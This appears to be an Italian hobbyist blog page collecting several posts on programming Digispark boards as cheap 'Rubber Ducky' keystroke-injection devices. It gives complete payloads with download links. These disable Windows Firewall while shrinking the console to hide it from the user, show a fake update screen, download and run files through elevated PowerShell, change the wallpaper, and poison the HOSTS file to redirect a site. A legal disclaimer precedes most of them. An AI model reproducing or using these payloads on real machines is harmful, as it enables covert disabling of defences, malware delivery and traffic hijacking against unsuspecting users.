Visualizzazione post con etichetta IDE Arduino. Mostra tutti i post
Visualizzazione post con etichetta IDE Arduino. Mostra tutti i post

domenica 27 settembre 2020

Digispark, Disattivare Windows Firewall

Il payload che mostrerò in questo articolo consente di disattivare il firewall di Windows.

Digispark Kickstarter
FIG 1 - Digispark Kickstarter

ATTENZIONE:
Danneggiare/violare un sistema informatico (anche da remoto) rappresenta un reato penale. Le informazioni presenti in quest'articolo vanno utilizzate solo per testare/verificare sistemi di cui si è titolari. Declino ogni responsabilità civile e penale derivante da un utilizzo non legale delle informazioni presentate in questo articolo a solo scopo didattico.


Windows Firewall è composto da tre profili diversi (dominio, privato e pubblico) ciascuno con le proprie regole/impostazioni. 

Per visualizzare lo stato dei tre profili di Windows Firewall baste eseguire il seguente comando dal Prompt dei comandi
netsh advfirewall show allprofiles

L'output sarà analogo a quello mostrato in FIG 2 in cui tutti e tre profili sono attivi (ON). Dopo l'esecuzione del nostro payload lo stato dei tre profili sarà OFF.

Windows Firewall, Stato Profili
FIG 2 - Windows Firewall, Stato Profili

Per disattivare tutti i profili di Windows Firewall andremo ad eseguire il seguente comando con privilegi elevati
netsh advfirewall set allprofiles state off  

Per la predisposizione dell'ambiente di sviluppo e installazione dei driver della scheda Digispark è possibile fare riferimento all'articolo Creare una Rubber Ducky economica con una scheda Digispark.

Il codice del payload è il seguente.

#include "KeyboardIT.h"
void setup() {
}
void loop() {
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.delay(500);
  //mostra desktop
  DigiKeyboard.sendKeyStroke(KEY_D, MOD_GUI_LEFT);
  DigiKeyboard.delay(1000);
  // start->Esegui
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(1000);
  DigiKeyboard.print("powershell Start-Process powershell -Verb runAs");
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(5000);
  DigiKeyboard.sendKeyStroke(KEY_S, MOD_ALT_LEFT);
  DigiKeyboard.delay(5000);
  DigiKeyboard.print("mode con:cols=14 lines=1 ");
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);  
  DigiKeyboard.delay(500);    
  DigiKeyboard.print("netsh advfirewall set allprofiles state off");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(5000);
  DigiKeyboard.print("Exit");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);  
  for(;;){ /*empty*/ }
}

Con l'istruzione
DigiKeyboard.print("powershell Start-Process powershell -Verb runAs")
viene avviata una sessione PowerShell come amministratore. Per evitare che chi è seduto dinanzi al PC veda il comando digitato, viene ridotta la dimensione della finestra con l'istruzione
DigiKeyboard.print("mode con:cols=14 lines=1 ");
Successivamente vengono disabilitati tutti i profili di Windows Firewall con 
DigiKeyboard.print("netsh advfirewall set allprofiles state off");


Per caricare il payload sulla scheda Digispark:
  • Scaricare il file Digispark_ Turn_Off_Windows_Firewall.zip dal seguente link 
    DOWNLOAD
  • Scompattare il file e cliccare 2 volte sul file Digispark_ Turn_Off_Windows_Firewall.ino per aprirlo nell'IDE Arduino;
  • Cliccare sul tasto carica per compilare e caricare il programma sul dispositivo. Quando richiesto, collegare la scheda Digispark e attendere il caricamento del programma.

Digispark, Disattiva profili di Windows Firewall
FIG 3 - Digispark, Disattiva profili di Windows Firewall


Terminato il caricamento, la scheda è pronta per essere usata. Collegandola ad un PC con sistema operativo Windows 7/8/10 verrà eseguita la disattivazione di tutti i profili di Windows Firewall.



lunedì 7 settembre 2020

Digispark, Visualizzare una finta schermata di aggiornamento del sistema operativo

Il payload oggetto di questo articolo relativo alle Rubber Ducky realizzate con schede Digispark non fa altro che visualizzare una finta schermata di aggiornamento del sistema operativo. Sul sito https://fakeupdate.net/ sono presenti schermate di aggiornamento di diversi sistemi operativi. In questo caso, dovendo simulare una schermata di aggiornamento relativa a Windows 10, la scelta è ricaduta su https://fakeupdate.net/win10ue/.

Digispark Kickstarter
FIG 1 - Digispark Kickstarter

ATTENZIONE:
Danneggiare/violare un sistema informatico (anche da remoto) rappresenta un reato penale. Le informazioni presenti in quest'articolo vanno utilizzate solo per testare/verificare sistemi di cui si è titolari. Declino ogni responsabilità civile e penale derivante da un utilizzo non legale delle informazioni presentate in questo articolo a solo scopo didattico.

Vediamo in dettaglio il payload e come caricarlo sulla scheda Digispark. Per l'installazione/configurazione dell'ambiente di sviluppo, per le informazioni sulla scheda Digispark e per l'installazione dei driver rimando all'articolo Creare una Rubber Ducky economica con una scheda Digispark.

Il codice del payload è il seguente:

#include "KeyboardIT.h"

void setup() {
}

void loop() {
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.delay(500);
  //mostra desktop
  DigiKeyboard.sendKeyStroke(KEY_D, MOD_GUI_LEFT);
  DigiKeyboard.delay(1000);
  // start->Esegui
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(1000);
  DigiKeyboard.print("iexplore -k https://fakeupdate.net/win10ue/");
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  for(;;){ /*empty*/ }
}

L'istruzione principale è 
DigiKeyboard.print("iexplore -k https://fakeupdate.net/win10ue/");
che apre in Internet Explorer la pagina https://fakeupdate.net/win10ue/ a schermo intero. Per uscire dalla modalità schermo intero basta premere il tasto F11 o premere la combinazione ALT+F4 per chiudere la finestra.

Per caricare il payload sulla scheda Digispark i passaggi da seguire sono del tutto analoghi a quelli già visti negli articoli precedenti:
  • Scaricare il file Digispark_Fake_Update.zip dal seguente link 
    DOWNLOAD
  • Scompattare il file e cliccare 2 volte sul file Digispark_Fake_Update.ino per aprirlo nell'IDE Arduino;
  • Cliccare sul tasto carica per compilare e caricare il programma sul dispositivo. Quando richiesto, collegare la scheda Digispark e attendere il caricamento del programma.
Digispark, payload Fake Update
FIG 2 - Digispark, payload Fake Update


Terminato il caricamento, la scheda è pronta per essere usata. Collegandola ad un PC con sistema operativo Windows 7/8/10 verrà aperta una sessione di Internet Explorer a schermo intero che mostra la finta e interminabile schermata di aggiornamento.






lunedì 31 agosto 2020

Digispark, Download ed esecuzione di un file tramite PowerShell

In questo articolo riprendo il discorso sulla Rubber Ducky economica utilizzando una scheda Digispark trattato un pò di tempo fa. Per chi si fosse perso gli articoli precedenti, li riporto di seguito in ordine cronologico:

Creare una Rubber Ducky economica con una scheda Digispark

Digispark, modificare il file HOSTS in Windows 10

Digispark, Modificare l'immagine di sfondo di Windows 

Digispark Kickstarter
FIG 1 - Digispark Kickstarter

ATTENZIONE:
Danneggiare/violare un sistema informatico (anche da remoto) rappresenta un reato penale. Le informazioni presenti in quest'articolo vanno utilizzate solo per testare/verificare sistemi di cui si è titolari. Declino ogni responsabilità civile e penale derivante da un utilizzo non legale delle informazioni presentate in questo articolo a solo scopo didattico.

In questo articolo verrà mostrato un nuovo payload che consente di scaricare un file ed eseguirlo attraverso l'utilizzo di PowerShell. Per caricare il nostro programma sulla scheda è necessario installare l'ambiente Arduino IDE e i driver della scheda Digispark. Per l'installazione/configurazione dell'ambiente di sviluppo, per le informazioni sulla scheda Digispark e per l'installazione dei driver rimando al primo articolo.


Per la programmazione del dispositivo:
  • Scaricare il file Digispark_Download_Run_File.zip dal seguente link 
    DOWNLOAD
  • Scompattare il file e cliccare 2 volte sul file Digispark_Download_Run_File.ino per aprirlo nell'IDE Arduino;
  • Cliccare sul tasto carica per compilare e caricare il programma sul dispositivo. Quando richiesto, collegare la scheda Digispark e attendere il caricamento del programma.
Digispark, Download ed esecuzione di un file
FIG 2 - Digispark, Download ed esecuzione di un file

Terminato il caricamento, la scheda è pronta per essere usata. Basterà collegarla ad un PC con sistema operativo Windows 7/8/10 per eseguire il download e l'esecuzione del file specificato.

Il payload è molto semplice:
#include "KeyboardIT.h"
void setup() {
}

void loop() {
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.delay(500);
  //mostra desktop
  DigiKeyboard.sendKeyStroke(KEY_D, MOD_GUI_LEFT);
  DigiKeyboard.delay(1000);
  // start->Esegui
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(1000);
  DigiKeyboard.print("powershell Start-Process powershell -Verb runAs");
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(5000);
  DigiKeyboard.sendKeyStroke(KEY_S, MOD_ALT_LEFT);
  DigiKeyboard.delay(5000);
  //script PowerShell
  DigiKeyboard.print("$download = New-Object System.Net.WebClient; $url = 'http://www.pdf995.com/samples/pdf.pdf'; 
     $file = 'f:\\pdf.pdf'; $download.DownloadFile($url,$file); $exec = New-Object -com shell.application; 
     $exec.shellexecute($file); exit;");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(500);

  for(;;){ /*empty*/ }
}

L'istruzione 
DigiKeyboard.print("powershell Start-Process powershell -Verb runAs");
consente di eseguire PowerShell come amministratore ma il cuore del programma è rappresentato dalla seguente istruzione 
DigiKeyboard.print("$download = New-Object System.Net.WebClient; $url = 'http://www.pdf995.com/samples/pdf.pdf'; $file = 'f:\\pdf.pdf'; $download.DownloadFile($url,$file); $exec = New-Object -com shell.application; $exec.shellexecute($file); exit;");
che, tramite l'utilizzo di PowerShell, consente di eseguire il download del file indicato da $url, salvarlo in locale nel percorso e con il nome indicato da $file e aprirlo/eseguirlo con l'istruzione $exec.shellexecute($file).
Modificando i valori di $url $file possiamo fare in modo di scaricare un file eseguibile da un server e mandarlo in esecuzione sulla postazione.





lunedì 14 ottobre 2019

Digispark, Modificare l'immagine di sfondo di Windows

Nei precedenti articoli Creare una Rubber Ducky economica con una scheda Digispark e Digispark, modificare il file HOSTS in Windows 10 
sono state mostrare alcune delle operazioni effettuabili con un dispositivo Digispark di pochi euro.
In questo articolo la scheda Digispark verrà programmata in modo che esegua il download di un'immagine da remoto e la imposti come sfondo di Windows.
Digispark Kickstarter
FIG 1 - Digispark Kickstarter

L'immagine che verrà scaricata è la seguente:
Digispark, sostituzione Wallpaper
FIG 2 - Digispark, sostituzione Wallpaper


Per i dettagli sulle caratteristiche della scheda Digispark e informazioni sulla programmazione e predisposizione dell'IDE Arduino rimando al primo articolo.

Per la programmazione del dispositivo:
  • Scaricare il file Digispark_WallPaper.zip dal seguente link DOWNLOAD
  • Scompattare il file e cliccare 2 volte sul file Digispark_WallPaper.INO per aprirlo nell'IDE Arduino;
  • Cliccare sul tasto carica per compilare e caricare il programma sul dispositivo. Quando richiesto, collegare la scheda Digispark e attendere il caricamento del programma.
Digispark, Programmazione tramite IDE Arduino
FIG 3 - Digispark, Programmazione tramite IDE Arduino


Di seguito il codice del programma:
#include "KeyboardIT.h"

void setup() {
}


void loop() {
  DigiKeyboard.sendKeyStroke(0);
  //mostra desktop
  DigiKeyboard.sendKeyStroke(KEY_D, MOD_GUI_LEFT);
  DigiKeyboard.delay(1000);
  // start->Esegui
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(1000);
  DigiKeyboard.print("powershell");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(3000);
  DigiKeyboard.print("$client = new-object System.Net.WebClient");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(1000);
  //Download immagine
  DigiKeyboard.print("$client.DownloadFile(\"https://1.bp.blogspot.com/
    -Gb4Ku1gaFao/XZ-PbzlCj3I/AAAAAAAAEc0/3uSk9g8fBvY3qKmdHf0OZg6FhfmV7xoEACLcBGAsYHQ/s1600/Wallpaper_Wile.jpg\" , \"Wile.jpg\")");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(3000);
  //sostituzione Wallpaper
  DigiKeyboard.print("reg add \"HKCU\\Control Panel\\Desktop\" /v WallPaper /d \"%USERPROFILE%\\Wile.jpg\" /f"); 
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(3000);
  DigiKeyboard.print("RUNDLL32.EXE USER32.DLL,UpdatePerUserSystemParameters ,1 ,True");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(1000);
  DigiKeyboard.print("exit");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  for(;;){ /*empty*/ }
}






martedì 8 ottobre 2019

Digispark, modificare il file HOSTS in Windows 10

Nell'articolo Creare una Rubber Ducky economica con una scheda Digispark  è stato mostrato come programmare una scheda Digispark per recuperare i profili Wi-Fi con relative credenziali ed inviarle in allegato ad un'email ad un indirizzo di posta elettronica.
In quest'articolo la scheda Digispark verrà programmata per modificare il file HOSTS in modo che la navigazione web verso alcuni domini venga dirottata ad un indirizzo/server di nostra scelta.


Digispark Kickstarter
FIG 1 - Digispark Kickstarter
ATTENZIONE:
Danneggiare/violare un sistema informatico (anche da remoto) rappresenta un reato penale. Le informazioni presenti in quest'articolo vanno utilizzate solo per testare/verificare sistemi di cui si è titolari. Declino ogni responsabilità civile e penale derivante da un utilizzo non legale delle informazioni presentate in questo articolo a solo scopo didattico.

Prima di procedere con la programmazione della scheda un breve accenno sul funzionamento del file HOSTS.

All'interno di una rete, che utilizza il protocollo TCP/IP, alle risorse viene generalmente assegnato un nome human-friendly in modo da facilitarne la connessione da parte degli utenti. Attraverso un processo chiamato risoluzione dei nomi, il sistema traduce il nome della risorsa nel corrispondente indirizzo IP. In ambiente Windows la risoluzione del nome di un host utilizza generalmente la seguente sequenza:
  • Il client verifica se il nome da risolvere è il proprio;
  • Viene interrogato il file HOSTS in locale sulla postazione;
  • Viene interrogato un server DNS.

Il file HOSTS non è altro che un file di testo (visualizzabile e modificabile da un qualsiasi editor di testo) che contiene indirizzi IP e i corrispondenti nomi host. Ciascun indirizzo IP è separato dal nome host da uno spazio bianco (anche se per ragioni storiche spesso viene utilizzato il carattere di tabulazione come separatore). All'interno del file HOSTS è possibile trovare/inserire anche righe di commenti riconoscibili dal carattere hash (#) presente all'inizio della riga. Poiché il file HOSTS in ambiente Windows ha la precedenza sull'interrogazione dei server DNS, può essere utilizzato per bloccare l'accesso a specifici siti o a dirottare la navigazione.. A partire da Windows XP il file HOSTS si trova all'interno della cartella %windir%\System32\drivers\etc.
File Hosts
FIG 1 - File Hosts


Per poter programmare la scheda Digispark, oltre gli opportuni driver, è necessario installare e configurare l'IDE di Arduino. Per questi passaggi e per informazioni più dettagliate sulla scheda rimando all'articolo precedente.

Per la programmazione del dispositivo:
  • Scaricare il file Digispark_file_HOSTS.zip dal seguente link
    DOWNLOAD
  • Scompattare il file e cliccare 2 volte sul file Digispark_file_HOSTS.INO per aprirlo nell'IDE Arduino;
  • Cliccare sul tasto carica per compilare e caricare il programma sul dispositivo. Quando richiesto, collegare la scheda Digispark e attendere il caricamento del programma.
Programmare il dispositivo Digispark tramite l'IDE Arduino
FIG 2 - Programmare il dispositivo Digispark tramite l'IDE Arduino

Terminato il caricamento, la scheda è pronta per essere usata. Basterà collegarla ad un PC con sistema operativo Windows 10 per modificare in pochi secondi il file HOSTS.

Rispetto a quanto visto nell'articolo precedente, il programma è molto più semplice:
#include "KeyboardIT.h"

void setup() {
}

void loop() {
  DigiKeyboard.sendKeyStroke(0);
  //Avvio prompt dei comandi come amministratore o PowerShell come amministratore in caso di Windows 10 aggiornato
  DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
  DigiKeyboard.delay(1000);
  DigiKeyboard.sendKeyStroke(KEY_A);
  DigiKeyboard.delay(1000);
  DigiKeyboard.sendKeyStroke(KEY_S, MOD_ALT_LEFT);
  DigiKeyboard.delay(1500);
  //Aggiunge riga al file HOSTS. Tentando di accedere al sito www.dell.com si viene dirottati all'indirizzo IP specificato
  // che corrisponde all'indirizzo www8.hp.com
  DigiKeyboard.println("ECHO 15.73.4.77 www.dell.com >> C:/WINDOWS/SYSTEM32/DRIVERS/ETC/HOSTS");
  DigiKeyboard.delay(1000);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(1000);
  //Esegue la pulizia della cache dei DNS
  DigiKeyboard.println("ipconfig /flushdns");
  DigiKeyboard.delay(1000);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  //chiude la finestra del prompt dei comandi/PowerShell
  DigiKeyboard.println("exit");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  for(;;){ /*empty*/ }
}


In pratica viene avviato Windows PowerShell (amministratore) (nel caso di versioni di Windows 10 non aggiornate viene avviato un prompt dei comandi con i privilegi di amministratore) dopodiché con l'istruzione
DigiKeyboard.println("ECHO 15.73.4.77 www.dell.com >> C:/WINDOWS/SYSTEM32/DRIVERS/ETC/HOSTS"); 
viene aggiunta la seguente riga al file HOSTS
15.73.4.77 www.dell.com
In questo modo tutte le volte che l'utente tenterà di accedere a www.dell.com verrà dirottato all'indirizzo IP 15.73.4.77 che corrisponde al sito di HP (www8.hp.com)
Successivamente viene svuotata la cache dei DNS con l'istruzione
DigiKeyboard.println("ipconfig /flushdns");
e chiusa la finestra di PowerShell.